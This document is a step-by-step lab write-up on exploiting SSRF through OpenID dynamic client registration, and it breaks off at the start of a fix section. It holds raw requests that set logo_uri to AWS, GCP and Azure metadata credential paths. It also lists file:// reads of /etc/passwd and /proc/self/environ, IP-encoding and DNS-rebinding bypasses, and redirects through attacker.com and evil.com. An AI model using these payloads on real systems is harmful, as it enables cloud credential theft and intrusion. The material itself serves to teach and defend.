Goal:

  • ๐Ÿ” Understand OpenID Connect dynamic client registration
  • ๐ŸŽฏ Exploit unprotected client registration endpoint
  • ๐Ÿ”“ Leverage SSRF via logo_uri property
  • ๐Ÿ’ฅ Access AWS metadata service at 169.254.169.254
  • ๐Ÿ”‘ Steal IAM security credentials
  • ๐ŸŽ‰ Complete lab

๐Ÿง  Concept Recap

SSRF via OpenID Dynamic Client Registration exploits OAuth providers that allow unauthenticated client registration combined with unsafe handling of client-provided URLs. When the OAuth service fetches resources like logos from client-supplied URIs without proper validation, attackers can force the server to make requests to internal resources, including cloud metadata endpoints.

๐Ÿ“Š The Vulnerability

OpenID Connect Dynamic Registration:

OpenID Connect Specification:
โ””โ”€โ”€ RFC 7591: OAuth 2.0 Dynamic Client Registration Protocol
    โ””โ”€โ”€ Allows applications to register themselves programmatically
        โ””โ”€โ”€ POST /reg endpoint accepts client metadata
            โ””โ”€โ”€ Returns client_id and other credentials
Purpose:
โ”œโ”€โ”€ Enable automated client onboarding
โ”œโ”€โ”€ Reduce manual registration overhead
โ””โ”€โ”€ Support dynamic application ecosystems
Security Risk:
โ””โ”€โ”€ If unprotected: Anyone can register clients!
    โ””โ”€โ”€ If URL properties used unsafely: SSRF possible!

The Attack Chain:

SSRF Attack Flow:

1. Unprotected Registration
   โ””โ”€โ”€ POST /reg endpoint requires no authentication
       โ””โ”€โ”€ Accepts arbitrary client metadata
           โ””โ”€โ”€ Including logo_uri property

2. Unsafe URL Handling
   โ””โ”€โ”€ OAuth server fetches logo from logo_uri
       โ””โ”€โ”€ No validation of URL target
           โ””โ”€โ”€ Makes server-side HTTP request

3. SSRF Exploitation
   โ””โ”€โ”€ Set logo_uri to internal resource
       โ””โ”€โ”€ Server fetches from internal network
           โ””โ”€โ”€ Returns sensitive data in response

Attack Visualization:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 1. Attacker registers malicious client           โ”‚
โ”‚    POST /reg                                     โ”‚
โ”‚    {                                             โ”‚
โ”‚      "redirect_uris": ["https://evil.com"],      โ”‚
โ”‚      "logo_uri": "http://169.254.169.254/..."    โ”‚
โ”‚    }                                             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 2. OAuth server returns client_id                โ”‚
โ”‚    {                                             โ”‚
โ”‚      "client_id": "abc123xyz"                    โ”‚
โ”‚    }                                             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 3. Attacker requests logo                        โ”‚
โ”‚    GET /client/abc123xyz/logo                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 4. OAuth server fetches logo_uri                 โ”‚
โ”‚    Server makes request:                         โ”‚
โ”‚    GET http://169.254.169.254/latest/meta-data   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 5. AWS metadata service responds                 โ”‚
โ”‚    {                                             โ”‚
โ”‚      "AccessKeyId": "ASIA...",                   โ”‚
โ”‚      "SecretAccessKey": "secret...",             โ”‚
โ”‚      "Token": "token..."                         โ”‚
โ”‚    }                                             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 6. OAuth server returns metadata to attacker     โ”‚
โ”‚    Response contains AWS credentials! ๐Ÿ’ฅ         โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Why This Works:

Root Cause Chain:

1. Unprotected Registration Endpoint
   โ””โ”€โ”€ No authentication required
       โ””โ”€โ”€ Anyone can register clients
           โ””โ”€โ”€ First vulnerability: Access control

2. Unsafe URL Property Handling
   โ””โ”€โ”€ Server fetches external resources
       โ””โ”€โ”€ No URL validation or filtering
           โ””โ”€โ”€ Second vulnerability: SSRF

3. Internal Network Access
   โ””โ”€โ”€ OAuth server can reach internal resources
       โ””โ”€โ”€ Cloud metadata endpoint accessible
           โ””โ”€โ”€ Third vulnerability: Network segmentation

Combined Impact:
โ””โ”€โ”€ Unauthenticated attacker
    โ””โ”€โ”€ Registers malicious client
        โ””โ”€โ”€ Forces server to fetch internal resource
            โ””โ”€โ”€ Receives sensitive credentials
                โ””โ”€โ”€ Full AWS account compromise! ๐ŸŽฏ

๐Ÿ› ๏ธ Step-by-Step Attack

๐Ÿ”ง Step 1 โ€” Access Lab and Login

  1. ๐ŸŒ Click "Access the lab"
  2. ๐Ÿ‘ค Click "My account" in top-right corner
  3. ๐Ÿ”— Click "Login with social media" button
  4. โœ๏ธ Enter credentials:
  • Username: wiener
  • Password: peter

5. โœ… Login successfully

What happens:

OAuth Flow Initiated:
โ”œโ”€โ”€ Client app redirects to OAuth provider
โ”œโ”€โ”€ User authenticates with wiener:peter
โ”œโ”€โ”€ OAuth provider issues access token
โ”œโ”€โ”€ User redirected back to client app
โ””โ”€โ”€ Now logged in as wiener

Note: This is just to understand the OAuth flow
โ””โ”€โ”€ The actual attack targets the OAuth provider itself!

๐Ÿ” Step 2 โ€” Discover OpenID Configuration

Access OpenID configuration endpoint:

  1. ๐ŸŒ In browser, navigate to:
https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/.well-known/openid-configuration

2. ๐Ÿ“‹ Or capture OAuth requests in Burp and extract OAuth server domain

Example URL construction:

Lab URL format:
https://YOUR-LAB-ID.web-security-academy.net

OAuth server format:
https://oauth-OAUTH-ID.oauth-server.net
OpenID configuration:
https://oauth-OAUTH-ID.oauth-server.net/.well-known/openid-configuration

Expected response:

{
  "issuer": "https://oauth-0a1b2c3d.oauth-server.net",
  "authorization_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/auth",
  "token_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/token",
  "jwks_uri": "https://oauth-0a1b2c3d.oauth-server.net/jwks",
  "registration_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/reg",
  "scopes_supported": ["openid", "profile", "email"],
  "response_types_supported": ["code", "token"],
  "grant_types_supported": ["authorization_code", "implicit"],
  "subject_types_supported": ["public"],
  "id_token_signing_alg_values_supported": ["RS256"]
}

Key finding:

โœ“ registration_endpoint: "/reg"

This indicates:
โ””โ”€โ”€ Dynamic client registration is enabled
    โ””โ”€โ”€ Endpoint: POST /reg
        โ””โ”€โ”€ Potential vulnerability if unprotected!

๐Ÿ“ก Step 3 โ€” Test Client Registration Endpoint

Open Burp Repeater and craft registration request:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 58

{
  "redirect_uris": [
    "https://example.com"
  ]
}

Request breakdown:

Required fields:
โ””โ”€โ”€ redirect_uris: Array of allowed callback URLs
    โ””โ”€โ”€ Required by OAuth specification
        โ””โ”€โ”€ Minimum: One valid URI

Optional fields (we'll use later):
โ”œโ”€โ”€ logo_uri: URL to client's logo
โ”œโ”€โ”€ client_name: Display name
โ”œโ”€โ”€ contacts: Admin email addresses
โ””โ”€โ”€ Many others per RFC 7591

Send request and observe response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9",
  "client_secret": "iJ0kL1mN2oP3qR4sT5uV6wX7yZ8aB9cD",
  "client_id_issued_at": 1640000000,
  "client_secret_expires_at": 0,
  "redirect_uris": [
    "https://example.com"
  ],
  "token_endpoint_auth_method": "client_secret_basic",
  "grant_types": ["authorization_code"],
  "response_types": ["code"]
}

Success! Critical findings:

โœ“ Registration succeeded without authentication!
โœ“ Received client_id: Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9
โœ“ Received client_secret
โœ“ No CAPTCHA or rate limiting

Vulnerability confirmed:
โ””โ”€โ”€ Unprotected dynamic client registration
    โ””โ”€โ”€ Anyone can register OAuth clients!

๐ŸŽจ Step 4 โ€” Discover Logo Fetching Mechanism

Analyze OAuth authorization flow:

  1. ๐Ÿ› ๏ธ In Burp, examine OAuth authorization requests
  2. ๐Ÿ” Look for logo display during consent screen

Locate logo endpoint:

GET /client/Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Expected response (if logo exists):

HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 1234

[Binary image data]

Or (if no logo):

HTTP/1.1 404 Not Found

Logo not found

Understanding the mechanism:

Logo Display Flow:

1. Client registers with logo_uri property
   โ””โ”€โ”€ POST /reg { "logo_uri": "https://client.com/logo.png" }

2. OAuth server stores logo_uri in database
   โ””โ”€โ”€ Associated with client_id

3. During authorization flow, consent page displays logo
   โ””โ”€โ”€ OAuth server fetches logo_uri
       โ””โ”€โ”€ GET /client/{client_id}/logo endpoint

4. Server-side request made to logo_uri
   โ””โ”€โ”€ Response returned to browser
       โ””โ”€โ”€ Displayed as client logo

SSRF opportunity:
โ””โ”€โ”€ If logo_uri points to internal resource
    โ””โ”€โ”€ Server fetches it during logo request
        โ””โ”€โ”€ Returns internal data! ๐ŸŽฏ

๐Ÿ”ฌ Step 5 โ€” Test SSRF with Burp Collaborator

Generate Burp Collaborator payload:

  1. ๐Ÿ› ๏ธ In Burp Repeater, right-click in request
  2. ๐Ÿ“‹ Select "Insert Collaborator payload"
  3. ๐Ÿ“‹ Copy generated URL: https://abc123xyz.oastify.com

Register client with Collaborator URL:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 145

{
  "redirect_uris": [
    "https://example.com"
  ],
  "logo_uri": "https://abc123xyz.oastify.com"
}

Response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1",
  "redirect_uris": ["https://example.com"],
  "logo_uri": "https://abc123xyz.oastify.com"
}

Copy new client_id:

New client_id: M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1

๐ŸŽฏ Step 6 โ€” Trigger Logo Fetch

Request logo from newly registered client:

GET /client/M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Replace New client_id and Send request in Burp Repeater

๐Ÿ“Š Step 7 โ€” Verify SSRF in Collaborator

  1. ๐Ÿ› ๏ธ Open Burp โ†’ Burp Collaborator client
  2. ๐Ÿ“‹ Click "Poll now"

Expected interaction:

Collaborator Interactions:

HTTP Request:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ GET / HTTP/1.1                               โ”‚
โ”‚ Host: abc123xyz.oastify.com                  โ”‚
โ”‚ User-Agent: Java/11.0.x                      โ”‚
โ”‚ Accept: text/html,image/*                    โ”‚
โ”‚ Connection: close                            โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
Source IP: [OAuth server's public IP]
Timestamp: 2026-01-16 14:35:22 UTC
Analysis:
โ”œโ”€โ”€ โœ“ HTTP request received from OAuth server
โ”œโ”€โ”€ โœ“ User-Agent indicates Java-based server
โ”œโ”€โ”€ โœ“ SSRF confirmed!
โ””โ”€โ”€ โœ“ Server fetches logo_uri without validation

SSRF vulnerability confirmed! ๐ŸŽ‰

What this proves:
โ””โ”€โ”€ OAuth server makes HTTP requests to logo_uri
    โ””โ”€โ”€ No URL validation or whitelist
        โ””โ”€โ”€ Can target any URL the server can reach!
            โ””โ”€โ”€ Including internal network resources! ๐ŸŽฏ

๐Ÿ’ฅ Step 8 โ€” Exploit SSRF to Access AWS Metadata

AWS EC2 Metadata Service:

AWS Instance Metadata Endpoint:
โ””โ”€โ”€ IP: 169.254.169.254
    โ””โ”€โ”€ Link-local address (only accessible from instance)
        โ””โ”€โ”€ Provides instance metadata
            โ””โ”€โ”€ Including IAM credentials!

Common paths:
โ”œโ”€โ”€ /latest/meta-data/
โ”œโ”€โ”€ /latest/meta-data/iam/security-credentials/
โ””โ”€โ”€ /latest/meta-data/iam/security-credentials/[role-name]/

Target for this lab:
โ””โ”€โ”€ http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
    โ””โ”€โ”€ Returns temporary AWS credentials for 'admin' role

Register client with AWS metadata URL:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 178

{
  "redirect_uris": [
    "https://example.com"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

Response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4",
  "redirect_uris": ["https://example.com"],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

Copy the new client_id:

Malicious client_id: P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4

๐Ÿ”‘ Step 9 โ€” Retrieve AWS Credentials

Request logo to trigger metadata fetch:

GET /client/P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Expected response:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 468

{
  "Code": "Success",
  "LastUpdated": "2026-01-16T14:30:15Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQXYZ123EXAMPLE456",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEIz//////////wEaCXVzLWVhc3QtMSJHMEUCIQCj...",
  "Expiration": "2026-01-16T20:45:32Z"
}

Success! AWS credentials retrieved! ๐ŸŽ‰

Retrieved credentials:
โ”œโ”€โ”€ AccessKeyId: ASIAQXYZ123EXAMPLE456
โ”œโ”€โ”€ SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
โ”œโ”€โ”€ Session Token: IQoJb3JpZ2luX2VjEIz...
โ””โ”€โ”€ Expiration: 2026-01-16T20:45:32Z

These are temporary credentials for the 'admin' IAM role!
โ””โ”€โ”€ Can be used to access AWS services
    โ””โ”€โ”€ Full admin permissions! ๐Ÿ’ฅ

๐ŸŽฏ Step 10 โ€” Submit Solution

  1. ๐Ÿ“‹ Copy the SecretAccessKey value
  2. ๐ŸŒ Click "Submit solution" button in lab
  3. ๐Ÿ“‹ Paste: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
  4. โœ… Click "Submit"

Lab solved! ๐ŸŽ‰

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  โœ… Congratulations!                โ”‚
โ”‚                                     โ”‚
โ”‚  You successfully exploited SSRF    โ”‚
โ”‚  via OpenID dynamic client          โ”‚
โ”‚  registration to steal AWS          โ”‚
โ”‚  credentials!                       โ”‚
โ”‚                                     โ”‚
โ”‚  Lab: SSRF via OpenID dynamic       โ”‚
โ”‚       client registration           โ”‚
โ”‚  Status: SOLVED โœ“                   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿ”— Complete Attack Chain

Step 1: Access lab and login (wiener:peter)
         โ””โ”€โ”€ Understand OAuth flow
         โ†“
Step 2: Access OpenID configuration
         โ””โ”€โ”€ https://oauth-XXX.oauth-server.net/.well-known/openid-configuration
         โ””โ”€โ”€ Discover registration_endpoint: "/reg"
         โ†“
Step 3: Test client registration
         โ””โ”€โ”€ POST /reg with minimal payload
         โ””โ”€โ”€ Receive client_id (unprotected!)
         โ†“
Step 4: Discover logo fetching mechanism
         โ””โ”€โ”€ GET /client/{client_id}/logo
         โ†“
Step 5: Test SSRF with Burp Collaborator
         โ””โ”€โ”€ Register client with logo_uri: https://COLLAB.oastify.com
         โ””โ”€โ”€ Request logo
         โ””โ”€โ”€ Verify interaction in Collaborator
         โ†“
Step 6: Exploit SSRF for AWS metadata
         โ””โ”€โ”€ Register client with logo_uri: http://169.254.169.254/...
         โ””โ”€โ”€ Request logo
         โ””โ”€โ”€ Receive AWS credentials in response!
         โ†“
Step 7: Submit SecretAccessKey
         โ””โ”€โ”€ Lab solved! ๐ŸŽ‰

โš™๏ธ Understanding the Vulnerability

OpenID Connect Dynamic Registration

RFC 7591 Specification:

Dynamic Client Registration Protocol:

Purpose:
โ””โ”€โ”€ Allow clients to register without manual intervention
    โ””โ”€โ”€ Programmatic OAuth client onboarding
        โ””โ”€โ”€ Scalable for large ecosystems

Registration Request:
POST /reg HTTP/1.1
Content-Type: application/json
{
  "redirect_uris": ["https://client.example.com/callback"],
  "token_endpoint_auth_method": "client_secret_basic",
  "grant_types": ["authorization_code", "refresh_token"],
  "response_types": ["code"],
  "client_name": "My Application",
  "logo_uri": "https://client.example.com/logo.png",
  "contacts": ["admin@example.com"],
  "scope": "openid profile email"
}

Response:
{
  "client_id": "generated_client_id",
  "client_secret": "generated_secret",
  "client_id_issued_at": 1640000000,
  ...all submitted metadata echoed back...
}
Security Considerations (from RFC):
โ”œโ”€โ”€ SHOULD require authentication
โ”œโ”€โ”€ SHOULD validate redirect_uris
โ”œโ”€โ”€ MUST validate logo_uri if used
โ””โ”€โ”€ SHOULD rate limit registrations

This lab's vulnerability:

Actual implementation:
โ”œโ”€โ”€ โœ— No authentication required
โ”œโ”€โ”€ โœ— No redirect_uris validation
โ”œโ”€โ”€ โœ— No logo_uri validation
โ””โ”€โ”€ โœ— No rate limiting

Result:
โ””โ”€โ”€ Anyone can register clients with malicious logo_uri
    โ””โ”€โ”€ SSRF attack possible! ๐Ÿ’ฅ

SSRF Attack Mechanism

How logo_uri becomes SSRF:

Server-Side Flow:

1. Client registration:
   POST /reg
   { "logo_uri": "http://169.254.169.254/..." }
   
   โ””โ”€โ”€ OAuth server stores logo_uri in database

2. Logo request:
   GET /client/{client_id}/logo
   
   โ””โ”€โ”€ OAuth server code (VULNERABLE):
   
   def get_client_logo(client_id):
       client = db.get_client(client_id)
       logo_uri = client.logo_uri
       
       # โœ— CRITICAL FLAW: No validation!
       response = http_client.get(logo_uri)
       
       return response.content, response.headers['Content-Type']

3. Server makes request to logo_uri:
   GET http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
   
   โ””โ”€โ”€ Returns to attacker's browser!

The vulnerability:
โ””โ”€โ”€ Server-side HTTP request to attacker-controlled URL
    โ””โ”€โ”€ No URL validation or whitelist
        โ””โ”€โ”€ Classic SSRF! ๐ŸŽฏ

AWS Metadata Service Exploitation

Understanding 169.254.169.254:

AWS EC2 Instance Metadata Service (IMDS):

Purpose:
โ””โ”€โ”€ Provide instance with information about itself
    โ””โ”€โ”€ Instance ID, region, security groups
        โ””โ”€โ”€ IAM role credentials

Versions:
โ”œโ”€โ”€ IMDSv1 (legacy): Direct HTTP GET requests
โ””โ”€โ”€ IMDSv2 (current): Requires session token

Common endpoints:
โ”œโ”€โ”€ /latest/meta-data/
โ”‚   โ”œโ”€โ”€ instance-id
โ”‚   โ”œโ”€โ”€ local-ipv4
โ”‚   โ”œโ”€โ”€ public-ipv4
โ”‚   โ”œโ”€โ”€ ami-id
โ”‚   โ””โ”€โ”€ iam/security-credentials/
โ”‚       โ””โ”€โ”€ [role-name]/  โ† AWS credentials!
โ”‚
โ”œโ”€โ”€ /latest/user-data  โ† Bootstrap scripts
โ””โ”€โ”€ /latest/dynamic/instance-identity/document

Security risk:
โ””โ”€โ”€ If SSRF exists, attacker can:
    โ”œโ”€โ”€ Enumerate IAM roles: GET /latest/meta-data/iam/security-credentials/
    โ”œโ”€โ”€ Retrieve credentials: GET /latest/meta-data/iam/security-credentials/admin/
    โ””โ”€โ”€ Use credentials to access AWS services!

IMDSv1 exploitation (this lab):
โ””โ”€โ”€ Simple HTTP GET to 169.254.169.254
    โ””โ”€โ”€ No additional headers required
        โ””โ”€โ”€ Returns JSON with temporary credentials

Temporary credentials format:
{
  "AccessKeyId": "ASIA...",        โ† AWS access key
  "SecretAccessKey": "wJalr...",   โ† Secret key (target!)
  "Token": "IQoJb3...",            โ† Session token
  "Expiration": "2026-01-16..."    โ† Valid for hours
}

Real-World Scenarios

Scenario 1: Cloud Provider Credential Theft

Vulnerable OAuth Provider on AWS:
โ”œโ”€โ”€ Supports dynamic client registration
โ”œโ”€โ”€ Fetches logo_uri without validation
โ””โ”€โ”€ Runs on EC2 with IAM role attached

Attack:
1. Register client with logo_uri: http://169.254.169.254/...
2. Retrieve AWS credentials
3. Use credentials to:
   โ”œโ”€โ”€ Access S3 buckets
   โ”œโ”€โ”€ Read RDS databases
   โ”œโ”€โ”€ Modify EC2 instances
   โ””โ”€โ”€ Full AWS account compromise! ๐Ÿ’ฅ

Impact: Complete infrastructure takeover

Scenario 2: Internal API Discovery

Vulnerable OAuth Provider in Corporate Network:
โ”œโ”€โ”€ Can access internal services
โ”œโ”€โ”€ logo_uri fetched without validation
โ””โ”€โ”€ Internal network not segmented

Attack:
1. Enumerate internal services:
   โ””โ”€โ”€ logo_uri: http://internal-api.local/
2. Access internal admin panels:
   โ””โ”€โ”€ logo_uri: http://admin.internal/api/users
3. Exfiltrate sensitive data
4. Pivot to other internal systems

Impact: Internal network compromise

Scenario 3: GCP Metadata Exploitation

Google Cloud Platform Metadata:
โ””โ”€โ”€ IP: 169.254.169.254
    โ””โ”€โ”€ Path: /computeMetadata/v1/

Attack payload:
POST /reg
{
  "logo_uri": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
  "redirect_uris": ["https://evil.com"]
}
Note: GCP requires header: "Metadata-Flavor: Google"
โ””โ”€โ”€ Some vulnerable implementations add this automatically!
Retrieved:
{
  "access_token": "ya29.c.Elp5...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

Impact: GCP service account token theft

๐Ÿ”ฌ Advanced Concepts

Other SSRF Targets

Internal Services:

Target: Internal admin panels
logo_uri: http://localhost:8080/admin
logo_uri: http://127.0.0.1:9000/manager
logo_uri: http://internal-api:3000/api/admin

Target: Database ports
logo_uri: http://localhost:5432/
logo_uri: http://db.internal:3306/

Target: Redis/Memcached
logo_uri: http://localhost:6379/
logo_uri: http://cache.internal:11211/

Cloud Metadata Services:

AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS (IMDSv2 - requires token):
Harder to exploit, needs PUT request first

Google Cloud Platform:
http://metadata.google.internal/computeMetadata/v1/
Requires header: Metadata-Flavor: Google

Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires header: Metadata: true

Digital Ocean:
http://169.254.169.254/metadata/v1/

Oracle Cloud:
http://169.254.169.254/opc/v1/instance/

File Reading (if file:// supported):

logo_uri: file:///etc/passwd
logo_uri: file:///etc/hosts
logo_uri: file:///proc/self/environ
logo_uri: file:///var/www/html/config.php

Bypassing SSRF Protections

URL Encoding:

http://169.254.169.254
http://0xa9.0xfe.0xa9.0xfe  (hex encoding)
http://2852039166  (decimal encoding)
http://[::ffff:169.254.169.254]  (IPv6)

DNS Rebinding:

logo_uri: http://ssrf.example.com
โ””โ”€โ”€ DNS first resolves to: 1.2.3.4 (passes whitelist)
    โ””โ”€โ”€ Then resolves to: 169.254.169.254 (actual target)

Redirect-based:

logo_uri: http://attacker.com/redirect
โ””โ”€โ”€ HTTP 302 to http://169.254.169.254/...
    โ””โ”€โ”€ If server follows redirects

Open Redirects:

logo_uri: https://trusted-site.com/redirect?url=http://169.254.169.254/...

Other OpenID Properties for SSRF

Alternative URL properties:

{
  "logo_uri": "SSRF_TARGET",                โ† Primary attack vector
  "client_uri": "SSRF_TARGET",              โ† Client homepage
  "policy_uri": "SSRF_TARGET",              โ† Privacy policy
  "tos_uri": "SSRF_TARGET",                 โ† Terms of service
  "jwks_uri": "SSRF_TARGET",                โ† JSON Web Key Set
  "sector_identifier_uri": "SSRF_TARGET"    โ† Sector identifier
}

All potentially vulnerable if server fetches them!

๐Ÿ›ก๏ธ How to Fix (Secure Implementation)

Fix 1: Require Authentication for Registration

# โœ… SECURE VERSION

from functools import wraps
from flask import request, jsonify
def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        auth_header = request.headers.get('Authorization')
        
